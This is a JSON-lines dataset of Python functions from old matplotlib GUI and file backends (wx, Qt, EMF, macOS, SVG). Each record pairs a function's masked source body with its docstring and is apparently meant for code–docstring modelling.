{"signature": "def draw_rubberband(self, event, x0, y0, x1, y1):", "body": "canvas = self.canvas<EOL>dc =wx.ClientDC(canvas)<EOL>dc.SetLogicalFunction(wx.XOR)<EOL>wbrush =wx.Brush(wx.Colour(<NUM_LIT:255>,<NUM_LIT:255>,<NUM_LIT:255>), wx.TRANSPARENT)<EOL>wpen =wx.Pen(wx.Colour(<NUM_LIT:200>, <NUM_LIT:200>, <NUM_LIT:200>), <NUM_LIT:1>, wx.SOLID)<EOL>dc.SetBrush(wbrush)<EOL>dc.SetPen(wpen)<EOL>dc.ResetBoundingBox()<EOL>dc.BeginDrawing()<EOL>height = self.canvas.figure.bbox.height<EOL>y1 = height - y1<EOL>y0 = height - y0<EOL>if y1<y0: y0, y1 = y1, y0<EOL>if x1<y0: x0, x1 = x1, x0<EOL>w = x1 - x0<EOL>h = y1 - y0<EOL>rect = int(x0), int(y0), int(w), int(h)<EOL>try: lastrect = self.lastrect<EOL>except AttributeError: pass<EOL>else: dc.DrawRectangle(*lastrect)  <EOL>self.lastrect = rect<EOL>dc.DrawRectangle(*rect)<EOL>dc.EndDrawing()<EOL>", "docstring": "adapted from http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/189744", "id": "f17227:c8:m10"}
{"signature": "def __init__(self, canvas, can_kill=False):", "body": "wx.ToolBar.__init__(self, canvas.GetParent(), -<NUM_LIT:1>)<EOL>DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self.canvas = canvas<EOL>self._lastControl = None<EOL>self._mouseOnButton = None<EOL>self._parent = canvas.GetParent()<EOL>self._NTB_BUTTON_HANDLER = {<EOL>_NTB_X_PAN_LEFT  : self.panx,<EOL>_NTB_X_PAN_RIGHT : self.panx,<EOL>_NTB_X_ZOOMIN    : self.zoomx,<EOL>_NTB_X_ZOOMOUT   : self.zoomy,<EOL>_NTB_Y_PAN_UP    : self.pany,<EOL>_NTB_Y_PAN_DOWN  : self.pany,<EOL>_NTB_Y_ZOOMIN    : self.zoomy,<EOL>_NTB_Y_ZOOMOUT   : self.zoomy }<EOL>self._create_menu()<EOL>self._create_controls(can_kill)<EOL>self.Realize()<EOL>", "docstring": "figure is the Figure instance that the toolboar controls\n\nwin, if not None, is the wxWindow the Figure is embedded in", "id": "f17227:c9:m0"}
{"signature": "def _create_menu(self):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self._menu = MenuButtonWx(self)<EOL>self.AddControl(self._menu)<EOL>self.AddSeparator()<EOL>", "docstring": "Creates the 'menu' - implemented as a button which opens a\npop-up menu since wxPython does not allow a menu as a control", "id": "f17227:c9:m1"}
{"signature": "def _create_controls(self, can_kill):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self.SetToolBitmapSize(wx.Size(<NUM_LIT:16>,<NUM_LIT:16>))<EOL>self.AddSimpleTool(_NTB_X_PAN_LEFT, _load_bitmap('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.AddSimpleTool(_NTB_X_PAN_RIGHT, _load_bitmap('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.AddSimpleTool(_NTB_X_ZOOMIN, _load_bitmap('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.AddSimpleTool(_NTB_X_ZOOMOUT, _load_bitmap('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.AddSeparator()<EOL>self.AddSimpleTool(_NTB_Y_PAN_UP,_load_bitmap('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.AddSimpleTool(_NTB_Y_PAN_DOWN, _load_bitmap('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.AddSimpleTool(_NTB_Y_ZOOMIN, _load_bitmap('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.AddSimpleTool(_NTB_Y_ZOOMOUT, _load_bitmap('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.AddSeparator()<EOL>self.AddSimpleTool(_NTB_SAVE, _load_bitmap('<STR_LIT>'),<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.AddSeparator()<EOL>bind(self, wx.EVT_TOOL, self._onLeftScroll, id=_NTB_X_PAN_LEFT)<EOL>bind(self, wx.EVT_TOOL, self._onRightScroll, id=_NTB_X_PAN_RIGHT)<EOL>bind(self, wx.EVT_TOOL, self._onXZoomIn, id=_NTB_X_ZOOMIN)<EOL>bind(self, wx.EVT_TOOL, self._onXZoomOut, id=_NTB_X_ZOOMOUT)<EOL>bind(self, wx.EVT_TOOL, self._onUpScroll, id=_NTB_Y_PAN_UP)<EOL>bind(self, wx.EVT_TOOL, self._onDownScroll, id=_NTB_Y_PAN_DOWN)<EOL>bind(self, wx.EVT_TOOL, self._onYZoomIn, id=_NTB_Y_ZOOMIN)<EOL>bind(self, wx.EVT_TOOL, self._onYZoomOut, id=_NTB_Y_ZOOMOUT)<EOL>bind(self, wx.EVT_TOOL, self._onSave, id=_NTB_SAVE)<EOL>bind(self, wx.EVT_TOOL_ENTER, self._onEnterTool, id=self.GetId())<EOL>if can_kill:<EOL><INDENT>bind(self, wx.EVT_TOOL, self._onClose, id=_NTB_CLOSE)<EOL><DEDENT>bind(self, wx.EVT_MOUSEWHEEL, self._onMouseWheel)<EOL>", "docstring": "Creates the button controls, and links them to event handlers", "id": "f17227:c9:m2"}
{"signature": "def set_active(self, ind):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self._ind = ind<EOL>if ind != None:<EOL><INDENT>self._active = [ self._axes[i] for i in self._ind ]<EOL><DEDENT>else:<EOL><INDENT>self._active = []<EOL><DEDENT>self._menu.updateButtonText(ind)<EOL>", "docstring": "ind is a list of index numbers for the axes which are to be made active", "id": "f17227:c9:m3"}
{"signature": "def get_last_control(self):", "body": "return self._lastControl<EOL>", "docstring": "Returns the identity of the last toolbar button pressed.", "id": "f17227:c9:m4"}
{"signature": "def update(self):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self._axes = self.canvas.figure.get_axes()<EOL>self._menu.updateAxes(len(self._axes))<EOL>", "docstring": "Update the toolbar menu - called when (e.g.) a new subplot or axes are added", "id": "f17227:c9:m9"}
{"signature": "def _do_nothing(self, d):", "body": "pass<EOL>", "docstring": "A NULL event handler - does nothing whatsoever", "id": "f17227:c9:m10"}
{"signature": "def draw_if_interactive():", "body": "if matplotlib.is_interactive():<EOL><INDENT>figManager =  Gcf.get_active()<EOL>if figManager != None:<EOL><INDENT>figManager.canvas.draw()<EOL><DEDENT><DEDENT>", "docstring": "Is called after every pylab drawing command", "id": "f17228:m1"}
{"signature": "def _create_qApp():", "body": "if QtGui.QApplication.startingUp():<EOL><INDENT>if DEBUG: print(\"<STR_LIT>\")<EOL>global qApp<EOL>qApp = QtGui.QApplication( [\"<STR_LIT:U+0020>\"] )<EOL>QtCore.QObject.connect( qApp, QtCore.SIGNAL( \"<STR_LIT>\" ),<EOL>qApp, QtCore.SLOT( \"<STR_LIT>\" ) )<EOL>_create_qApp.qAppCreatedHere = True<EOL><DEDENT>", "docstring": "Only one qApp can exist at a time, so check before creating one.", "id": "f17228:m2"}
{"signature": "def show():", "body": "for manager in Gcf.get_all_fig_managers():<EOL><INDENT>manager.window.show()<EOL><DEDENT>if DEBUG: print('<STR_LIT>')<EOL>figManager =  Gcf.get_active()<EOL>if figManager != None:<EOL><INDENT>figManager.canvas.draw()<EOL><DEDENT>if _create_qApp.qAppCreatedHere:<EOL><INDENT>QtGui.qApp.exec_()<EOL><DEDENT>", "docstring": "Show all the figures and enter the qt main loop\nThis should be the last line of your script", "id": "f17228:m3"}
{"signature": "def new_figure_manager( num, *args, **kwargs ):", "body": "thisFig = Figure( *args, **kwargs )<EOL>canvas = FigureCanvasQT( thisFig )<EOL>manager = FigureManagerQT( canvas, num )<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17228:m4"}
{"signature": "def exception_handler( type, value, tb ):", "body": "msg = '<STR_LIT>'<EOL>if hasattr(value, '<STR_LIT:filename>') and value.filename != None:<EOL><INDENT>msg = value.filename + '<STR_LIT>'<EOL><DEDENT>if hasattr(value, '<STR_LIT>') and value.strerror != None:<EOL><INDENT>msg += value.strerror<EOL><DEDENT>else:<EOL><INDENT>msg += str(value)<EOL><DEDENT>if len( msg ) : error_msg_qt( msg )<EOL>", "docstring": "Handle uncaught exceptions\n    It does not catch SystemExit", "id": "f17228:m6"}
{"signature": "def resize(self, width, height):", "body": "self.window.resize(width, height)<EOL>", "docstring": "set the canvas size in pixels", "id": "f17228:c1:m3"}
{"signature": "def __init__(self, canvas, parent, coordinates=True):", "body": "self.canvas = canvas<EOL>self.coordinates = coordinates<EOL>QtGui.QToolBar.__init__( self, parent )<EOL>NavigationToolbar2.__init__( self, canvas )<EOL>", "docstring": "coordinates: should we show the coordinates on the right?", "id": "f17228:c2:m0"}
{"signature": "def draw_if_interactive():", "body": "pass<EOL>", "docstring": "For image backends - is not required\nFor GUI backends - this should be overriden if drawing should be done in\ninteractive python mode", "id": "f17229:m0"}
{"signature": "def show():", "body": "for manager in Gcf.get_all_fig_managers():<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "For image backends - is not required\nFor GUI backends - show() is usually the last line of a pylab script and\ntells the backend that it is time to draw.  In interactive mode, this may\nbe a do nothing func.  See the GTK backend for an example of how to handle\ninteractive versus batch mode", "id": "f17229:m1"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass(*args, **kwargs)<EOL>canvas = FigureCanvasEMF(thisFig)<EOL>manager = FigureManagerEMF(canvas, num)<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17229:m2"}
{"signature": "def __init__(self, outfile, width, height, dpi):", "body": "self.outfile = outfile<EOL>self._cached = {}<EOL>self._fontHandle = {}<EOL>self.lastHandle = {'<STR_LIT>':-<NUM_LIT:1>, '<STR_LIT>':-<NUM_LIT:1>, '<STR_LIT>':-<NUM_LIT:1>}<EOL>self.emf=pyemf.EMF(width,height,dpi,'<STR_LIT>')<EOL>self.width=int(width*dpi)<EOL>self.height=int(height*dpi)<EOL>self.dpi = dpi<EOL>self.pointstodpi = dpi/<NUM_LIT><EOL>self.hackPointsForMathExponent = <NUM_LIT><EOL>self.emf.SetBkMode(pyemf.TRANSPARENT)<EOL>self.emf.SetTextAlign( pyemf.TA_BOTTOM|pyemf.TA_LEFT)<EOL>if debugPrint: print(\"<STR_LIT>\" % (self.width,self.height,outfile,dpi))<EOL>", "docstring": "Initialize the renderer with a gd image instance", "id": "f17229:c3:m0"}
{"signature": "def draw_arc(self, gcEdge, rgbFace, x, y, width, height, angle1, angle2, rotation):", "body": "if debugPrint: print(\"<STR_LIT>\" % (x,y,angle1,angle2,width,height))<EOL>pen=self.select_pen(gcEdge)<EOL>brush=self.select_brush(rgbFace)<EOL>hw=width/<NUM_LIT:2><EOL>hh=height/<NUM_LIT:2><EOL>x1=int(x-width/<NUM_LIT:2>)<EOL>y1=int(y-height/<NUM_LIT:2>)<EOL>if brush:<EOL><INDENT>self.emf.Pie(int(x-hw),int(self.height-(y-hh)),int(x+hw),int(self.height-(y+hh)),int(x+math.cos(angle1*math.pi/<NUM_LIT>)*hw),int(self.height-(y+math.sin(angle1*math.pi/<NUM_LIT>)*hh)),int(x+math.cos(angle2*math.pi/<NUM_LIT>)*hw),int(self.height-(y+math.sin(angle2*math.pi/<NUM_LIT>)*hh)))<EOL><DEDENT>else:<EOL><INDENT>self.emf.Arc(int(x-hw),int(self.height-(y-hh)),int(x+hw),int(self.height-(y+hh)),int(x+math.cos(angle1*math.pi/<NUM_LIT>)*hw),int(self.height-(y+math.sin(angle1*math.pi/<NUM_LIT>)*hh)),int(x+math.cos(angle2*math.pi/<NUM_LIT>)*hw),int(self.height-(y+math.sin(angle2*math.pi/<NUM_LIT>)*hh)))<EOL><DEDENT>", "docstring": "Draw an arc using GraphicsContext instance gcEdge, centered at x,y,\nwith width and height and angles from 0.0 to 360.0\n0 degrees is at 3-o'clock\npositive angles are anti-clockwise\n\nIf the color rgbFace is not None, fill the arc with it.", "id": "f17229:c3:m2"}
{"signature": "def draw_image(self, x, y, im, bbox):", "body": "<EOL>pass<EOL>", "docstring": "Draw the Image instance into the current axes; x is the\ndistance in pixels from the left hand side of the canvas. y is\nthe distance from the origin.  That is, if origin is upper, y\nis the distance from top.  If origin is lower, y is the\ndistance from bottom\n\nbbox is a matplotlib.transforms.BBox instance for clipping, or\nNone", "id": "f17229:c3:m3"}
{"signature": "def draw_line(self, gc, x1, y1, x2, y2):", "body": "if debugPrint: print(\"<STR_LIT>\" % (x1,y1,x2,y2))<EOL>if self.select_pen(gc):<EOL><INDENT>self.emf.Polyline([(int(x1),int(self.height-y1)),(int(x2),int(self.height-y2))])<EOL><DEDENT>else:<EOL><INDENT>if debugPrint: print(\"<STR_LIT>\" % (x1,y1,x2,y2))<EOL><DEDENT>", "docstring": "Draw a single line from x1,y1 to x2,y2", "id": "f17229:c3:m4"}
{"signature": "def draw_lines(self, gc, x, y):", "body": "if debugPrint: print(\"<STR_LIT>\" % len(str(x)))<EOL>if self.select_pen(gc):<EOL><INDENT>points = [(int(x[i]), int(self.height-y[i])) for i in range(len(x))]<EOL>self.emf.Polyline(points)<EOL><DEDENT>", "docstring": "x and y are equal length arrays, draw lines connecting each\npoint in x, y", "id": "f17229:c3:m5"}
{"signature": "def draw_point(self, gc, x, y):", "body": "if debugPrint: print(\"<STR_LIT>\" % (x,y))<EOL>pen=EMFPen(self.emf,gc)<EOL>self.emf.SetPixel(int(x),int(self.height-y),(pen.r,pen.g,pen.b))<EOL>", "docstring": "Draw a single point at x,y\nWhere 'point' is a device-unit point (or pixel), not a matplotlib point", "id": "f17229:c3:m6"}
{"signature": "def draw_polygon(self, gcEdge, rgbFace, points):", "body": "if debugPrint: print(\"<STR_LIT>\" % len(points))<EOL>pen=self.select_pen(gcEdge)<EOL>brush=self.select_brush(rgbFace)<EOL>if pen or brush:<EOL><INDENT>points = [(int(x), int(self.height-y)) for x,y in points]<EOL>self.emf.Polygon(points)<EOL><DEDENT>else:<EOL><INDENT>points = [(int(x), int(self.height-y)) for x,y in points]<EOL>if debugPrint: print(\"<STR_LIT>\" % (len(points),str(points)))<EOL><DEDENT>", "docstring": "Draw a polygon using the GraphicsContext instance gc.\npoints is a len vertices tuple, each element\ngiving the x,y coords a vertex\n\nIf the color rgbFace is not None, fill the polygon with it", "id": "f17229:c3:m7"}
{"signature": "def draw_rectangle(self, gcEdge, rgbFace, x, y, width, height):", "body": "if debugPrint: print(\"<STR_LIT>\" % (x,y,width,height))<EOL>pen=self.select_pen(gcEdge)<EOL>brush=self.select_brush(rgbFace)<EOL>if pen or brush:<EOL><INDENT>self.emf.Rectangle(int(x),int(self.height-y),int(x)+int(width),int(self.height-y)-int(height))<EOL><DEDENT>else:<EOL><INDENT>if debugPrint: print(\"<STR_LIT>\" % (x,y,width,height))<EOL><DEDENT>", "docstring": "Draw a non-filled rectangle using the GraphicsContext instance gcEdge,\nwith lower left at x,y with width and height.\n\nIf rgbFace is not None, fill the rectangle with it.", "id": "f17229:c3:m8"}
{"signature": "def draw_text(self, gc, x, y, s, prop, angle, ismath=False):", "body": "if debugText: print(\"<STR_LIT>\" % (x,y,angle,s))<EOL>if ismath:<EOL><INDENT>self.draw_math_text(gc,x,y,s,prop,angle)<EOL><DEDENT>else:<EOL><INDENT>self.draw_plain_text(gc,x,y,s,prop,angle)<EOL><DEDENT>", "docstring": "Draw the text.Text instance s at x,y (display coords) with font\nproperties instance prop at angle in degrees, using GraphicsContext gc\n\n**backend implementers note**\n\nWhen you are trying to determine if you have gotten your bounding box\nright (which is what enables the text layout/alignment to work\nproperly), it helps to change the line in text.py\n\n          if 0: bbox_artist(self, renderer)\n\nto if 1, and then the actual bounding box will be blotted along with\nyour text.", "id": "f17229:c3:m9"}
{"signature": "def draw_plain_text(self, gc, x, y, s, prop, angle):", "body": "if debugText: print(\"<STR_LIT>\" % (x,y,angle,s))<EOL>if debugText: print(\"<STR_LIT>\"+str(prop))<EOL>self.select_font(prop,angle)<EOL>hackoffsetper300dpi=<NUM_LIT:10><EOL>xhack=math.sin(angle*math.pi/<NUM_LIT>)*hackoffsetper300dpi*self.dpi/<NUM_LIT><EOL>yhack=math.cos(angle*math.pi/<NUM_LIT>)*hackoffsetper300dpi*self.dpi/<NUM_LIT><EOL>self.emf.TextOut(int(x+xhack),int(y+yhack),s)<EOL>", "docstring": "Draw a text string verbatim; no conversion is done.", "id": "f17229:c3:m10"}
{"signature": "def draw_math_text(self, gc, x, y, s, prop, angle):", "body": "if debugText: print(\"<STR_LIT>\" % (x,y,angle,s))<EOL>s = s[<NUM_LIT:1>:-<NUM_LIT:1>]  <EOL>match=re.match(\"<STR_LIT>\",s)<EOL>if match:<EOL><INDENT>exp=match.group(<NUM_LIT:1>)<EOL>if debugText: print(\"<STR_LIT>\" % exp)<EOL>font = self._get_font_ttf(prop)<EOL>font.set_text(\"<STR_LIT>\", <NUM_LIT:0.0>)<EOL>w, h = font.get_width_height()<EOL>w /= <NUM_LIT>  <EOL>h /= <NUM_LIT><EOL>self.draw_plain_text(gc,x,y,\"<STR_LIT>\",prop,angle)<EOL>propexp=prop.copy()<EOL>propexp.set_size(prop.get_size_in_points()*<NUM_LIT>)<EOL>self.draw_plain_text(gc,x+w+self.points_to_pixels(self.hackPointsForMathExponent),y-(h/<NUM_LIT:2>),exp,propexp,angle)<EOL><DEDENT>else:<EOL><INDENT>self.draw_plain_text(gc,x,y,s,prop,angle)<EOL><DEDENT>", "docstring": "Draw a subset of TeX, currently handles exponents only.  Since\npyemf doesn't have any raster functionality yet, the\ntexmanager.get_rgba won't help.", "id": "f17229:c3:m11"}
{"signature": "def get_math_text_width_height(self, s, prop):", "body": "if debugText: print(\"<STR_LIT>\")<EOL>s = s[<NUM_LIT:1>:-<NUM_LIT:1>]  <EOL>match=re.match(\"<STR_LIT>\",s)<EOL>if match:<EOL><INDENT>exp=match.group(<NUM_LIT:1>)<EOL>if debugText: print(\"<STR_LIT>\" % exp)<EOL>font = self._get_font_ttf(prop)<EOL>font.set_text(\"<STR_LIT>\", <NUM_LIT:0.0>)<EOL>w1, h1 = font.get_width_height()<EOL>propexp=prop.copy()<EOL>propexp.set_size(prop.get_size_in_points()*<NUM_LIT>)<EOL>fontexp=self._get_font_ttf(propexp)<EOL>fontexp.set_text(exp, <NUM_LIT:0.0>)<EOL>w2, h2 = fontexp.get_width_height()<EOL>w=w1+w2<EOL>h=h1+(h2/<NUM_LIT:2>)<EOL>w /= <NUM_LIT>  <EOL>h /= <NUM_LIT><EOL>w+=self.points_to_pixels(self.hackPointsForMathExponent)<EOL>if debugText: print(\"<STR_LIT>\" % (s, w, h))<EOL><DEDENT>else:<EOL><INDENT>w,h=self.get_text_width_height(s,prop,False)<EOL><DEDENT>return w, h<EOL>", "docstring": "get the width and height in display coords of the string s\nwith FontPropertry prop, ripped right out of backend_ps.  This\nmethod must be kept in sync with draw_math_text.", "id": "f17229:c3:m12"}
{"signature": "def flipy(self):", "body": "return True<EOL>", "docstring": "return true if y small numbers are top for renderer\n        Is used for drawing text (text.py) and images (image.py) only", "id": "f17229:c3:m13"}
{"signature": "def get_canvas_width_height(self):", "body": "return self.width,self.height<EOL>", "docstring": "return the canvas width and height in display coords", "id": "f17229:c3:m14"}
{"signature": "def set_handle(self,type,handle):", "body": "if self.lastHandle[type] != handle:<EOL><INDENT>self.emf.SelectObject(handle)<EOL>self.lastHandle[type]=handle<EOL><DEDENT>", "docstring": "Update the EMF file with the current handle, but only if it\nisn't the same as the last one.  Don't want to flood the file\nwith duplicate info.", "id": "f17229:c3:m15"}
{"signature": "def get_font_handle(self, prop, angle):", "body": "prop=EMFFontProperties(prop,angle)<EOL>size=int(prop.get_size_in_points()*self.pointstodpi)<EOL>face=prop.get_name()<EOL>key = hash(prop)<EOL>handle = self._fontHandle.get(key)<EOL>if handle is None:<EOL><INDENT>handle=self.emf.CreateFont(-size, <NUM_LIT:0>, int(angle)*<NUM_LIT:10>, int(angle)*<NUM_LIT:10>,<EOL>pyemf.FW_NORMAL, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL>pyemf.ANSI_CHARSET, pyemf.OUT_DEFAULT_PRECIS,<EOL>pyemf.CLIP_DEFAULT_PRECIS, pyemf.DEFAULT_QUALITY,<EOL>pyemf.DEFAULT_PITCH | pyemf.FF_DONTCARE, face);<EOL>if debugHandle: print(\"<STR_LIT>\" % (handle,face,size))<EOL>self._fontHandle[key]=handle<EOL><DEDENT>if debugHandle: print(\"<STR_LIT>\" % (handle,face,size))<EOL>self.set_handle(\"<STR_LIT>\",handle)<EOL>return handle<EOL>", "docstring": "Look up the handle for the font based on the dict of\nproperties *and* the rotation angle, since in EMF the font\nrotation is a part of the font definition.", "id": "f17229:c3:m16"}
{"signature": "def select_pen(self, gc):", "body": "pen=EMFPen(self.emf,gc)<EOL>key=hash(pen)<EOL>handle=self._fontHandle.get(key)<EOL>if handle is None:<EOL><INDENT>handle=pen.get_handle()<EOL>self._fontHandle[key]=handle<EOL><DEDENT>if debugHandle: print(\"<STR_LIT>\" % handle)<EOL>self.set_handle(\"<STR_LIT>\",handle)<EOL>if pen.style != pyemf.PS_NULL:<EOL><INDENT>return pen<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Select a pen that includes the color, line width and line\nstyle.  Return the pen if it will draw a line, or None if the\npen won't produce any output (i.e. the style is PS_NULL)", "id": "f17229:c3:m18"}
{"signature": "def select_brush(self, rgb):", "body": "if rgb is not None:<EOL><INDENT>brush=EMFBrush(self.emf,rgb)<EOL>key=hash(brush)<EOL>handle=self._fontHandle.get(key)<EOL>if handle is None:<EOL><INDENT>handle=brush.get_handle()<EOL>self._fontHandle[key]=handle<EOL><DEDENT>if debugHandle: print(\"<STR_LIT>\" % handle)<EOL>self.set_handle(\"<STR_LIT>\",handle)<EOL>return brush<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Select a fill color, and return the brush if the color is\nvalid or None if this won't produce a fill operation.", "id": "f17229:c3:m19"}
{"signature": "def _get_font_ttf(self, prop):", "body": "key = hash(prop)<EOL>font = _fontd.get(key)<EOL>if font is None:<EOL><INDENT>fname = findfont(prop)<EOL>if debugText: print(\"<STR_LIT>\" % fname)<EOL>font = FT2Font(str(fname))<EOL>_fontd[key] = font<EOL><DEDENT>font.clear()<EOL>size = prop.get_size_in_points()<EOL>font.set_size(size, self.dpi)<EOL>return font<EOL>", "docstring": "get the true type font properties, used because EMFs on\nwindows will use true type fonts.", "id": "f17229:c3:m20"}
{"signature": "def get_text_width_height(self, s, prop, ismath):", "body": "if debugText: print(\"<STR_LIT>\" % (str(ismath),str(prop)))<EOL>if ismath:<EOL><INDENT>if debugText: print(\"<STR_LIT>\" % str(ismath))<EOL>w,h = self.get_math_text_width_height(s, prop)<EOL>return w,h<EOL><DEDENT>font = self._get_font_ttf(prop)<EOL>font.set_text(s, <NUM_LIT:0.0>)<EOL>w, h = font.get_width_height()<EOL>w /= <NUM_LIT>  <EOL>h /= <NUM_LIT><EOL>if debugText: print(\"<STR_LIT>\" % (s, w, h))<EOL>return w, h<EOL>", "docstring": "get the width and height in display coords of the string s\nwith FontPropertry prop, ripped right out of backend_ps", "id": "f17229:c3:m21"}
{"signature": "def draw(self):", "body": "pass<EOL>", "docstring": "Draw the figure using the renderer", "id": "f17229:c5:m0"}
{"signature": "def show():", "body": "<EOL>_macosx.show()<EOL>", "docstring": "Show all the figures and enter the Cocoa mainloop.\n    This function will not return until all windows are closed or\n    the interpreter exits.", "id": "f17230:m0"}
{"signature": "def draw_if_interactive():", "body": "figManager =  Gcf.get_active()<EOL>if figManager is not None:<EOL><INDENT>figManager.canvas.invalidate()<EOL><DEDENT>", "docstring": "For performance reasons, we don't want to redraw the figure after\neach draw command. Instead, we mark the figure as invalid, so that\nit will be redrawn as soon as the event loop resumes via PyOS_InputHook.\nThis function should be called after each draw event, even if\nmatplotlib is not running interactively.", "id": "f17230:m1"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>figure = FigureClass(*args, **kwargs)<EOL>canvas = FigureCanvasMac(figure)<EOL>manager = FigureManagerMac(canvas, num)<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17230:m2"}
{"signature": "def _get_style(self, gc, rgbFace):", "body": "if rgbFace is None:<EOL><INDENT>fill = '<STR_LIT:none>'<EOL><DEDENT>else:<EOL><INDENT>fill = rgb2hex(rgbFace[:<NUM_LIT:3>])<EOL><DEDENT>offset, seq = gc.get_dashes()<EOL>if seq is None:<EOL><INDENT>dashes = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>dashes = '<STR_LIT>' % (<EOL>'<STR_LIT:U+002C>'.join(['<STR_LIT>'%val for val in seq]), offset)<EOL><DEDENT>linewidth = gc.get_linewidth()<EOL>if linewidth:<EOL><INDENT>return '<STR_LIT>''<STR_LIT>' % (<EOL>fill,<EOL>rgb2hex(gc.get_rgb()[:<NUM_LIT:3>]),<EOL>linewidth,<EOL>gc.get_joinstyle(),<EOL>_capstyle_d[gc.get_capstyle()],<EOL>dashes,<EOL>gc.get_alpha(),<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>' % (fill,<EOL>gc.get_alpha(),<EOL>)<EOL><DEDENT>", "docstring": "return the style string.\nstyle is generated from the GraphicsContext, rgbFace and clippath", "id": "f17232:c0:m3"}
{"signature": "def option_image_nocomposite(self):", "body": "return rcParams['<STR_LIT>']<EOL>", "docstring": "if svg.image_noscale is True, compositing multiple images into one is prohibited", "id": "f17232:c0:m7"}
{"signature": "def _draw_mathtext(self, gc, x, y, s, prop, angle):", "body": "width, height, descent, svg_elements, used_characters =self.mathtext_parser.parse(s, <NUM_LIT>, prop)<EOL>svg_glyphs = svg_elements.svg_glyphs<EOL>svg_rects = svg_elements.svg_rects<EOL>color = rgb2hex(gc.get_rgb()[:<NUM_LIT:3>])<EOL>write = self._svgwriter.write<EOL>style = \"<STR_LIT>\" % color<EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>new_chars = []<EOL>for font, fontsize, thetext, new_x, new_y_mtc, metrics in svg_glyphs:<EOL><INDENT>path = self._add_char_def(font, thetext)<EOL>if path is not None:<EOL><INDENT>new_chars.append(path)<EOL><DEDENT><DEDENT>if len(new_chars):<EOL><INDENT>write('<STR_LIT>')<EOL>for path in new_chars:<EOL><INDENT>write(path)<EOL><DEDENT>write('<STR_LIT>')<EOL><DEDENT>svg = ['<STR_LIT>' % style]<EOL>if angle != <NUM_LIT:0>:<EOL><INDENT>svg.append('<STR_LIT>'<EOL>% (x,y,-angle) )<EOL><DEDENT>else:<EOL><INDENT>svg.append('<STR_LIT>' % (x, y))<EOL><DEDENT>svg.append('<STR_LIT>')<EOL>for font, fontsize, thetext, new_x, new_y_mtc, metrics in svg_glyphs:<EOL><INDENT>charid = self._get_char_def_id(font, thetext)<EOL>svg.append('<STR_LIT>' %<EOL>(charid, new_x, -new_y_mtc, fontsize / self.FONT_SCALE))<EOL><DEDENT>svg.append('<STR_LIT>')<EOL><DEDENT>else: <EOL><INDENT>svg = ['<STR_LIT>' % (style, x, y)]<EOL>if angle != <NUM_LIT:0>:<EOL><INDENT>svg.append('<STR_LIT>'<EOL>% (x,y,-angle,-x,-y) ) <EOL><DEDENT>svg.append('<STR_LIT>')<EOL>curr_x,curr_y = <NUM_LIT:0.0>,<NUM_LIT:0.0><EOL>for font, fontsize, thetext, new_x, new_y_mtc, metrics in svg_glyphs:<EOL><INDENT>new_y = - new_y_mtc<EOL>style = \"<STR_LIT>\" % (fontsize, font.family_name)<EOL>svg.append('<STR_LIT>' % style)<EOL>xadvance = metrics.advance<EOL>svg.append('<STR_LIT>' % xadvance)<EOL>dx = new_x - curr_x<EOL>if dx != <NUM_LIT:0.0>:<EOL><INDENT>svg.append('<STR_LIT>' % dx)<EOL><DEDENT>dy = new_y - curr_y<EOL>if dy != <NUM_LIT:0.0>:<EOL><INDENT>svg.append('<STR_LIT>' % dy)<EOL><DEDENT>thetext = escape_xml_text(thetext)<EOL>svg.append('<STR_LIT>' % thetext)<EOL>curr_x = new_x + xadvance<EOL>curr_y = new_y<EOL><DEDENT>svg.append('<STR_LIT>')<EOL><DEDENT>if len(svg_rects):<EOL><INDENT>style = \"<STR_LIT>\" % color<EOL>svg.append('<STR_LIT>' % style)<EOL>if angle != <NUM_LIT:0>:<EOL><INDENT>svg.append('<STR_LIT>'<EOL>% (x,y,-angle) )<EOL><DEDENT>else:<EOL><INDENT>svg.append('<STR_LIT>' % (x, y))<EOL><DEDENT>svg.append('<STR_LIT>')<EOL>for x, y, width, height in svg_rects:<EOL><INDENT>svg.append('<STR_LIT>' % (x, -y + height, width, height))<EOL><DEDENT>svg.append(\"<STR_LIT>\")<EOL><DEDENT>self.open_group(\"<STR_LIT>\")<EOL>write ('<STR_LIT>'.join(svg))<EOL>self.close_group(\"<STR_LIT>\")<EOL>", "docstring": "Draw math text using matplotlib.mathtext", "id": "f17232:c0:m17"}
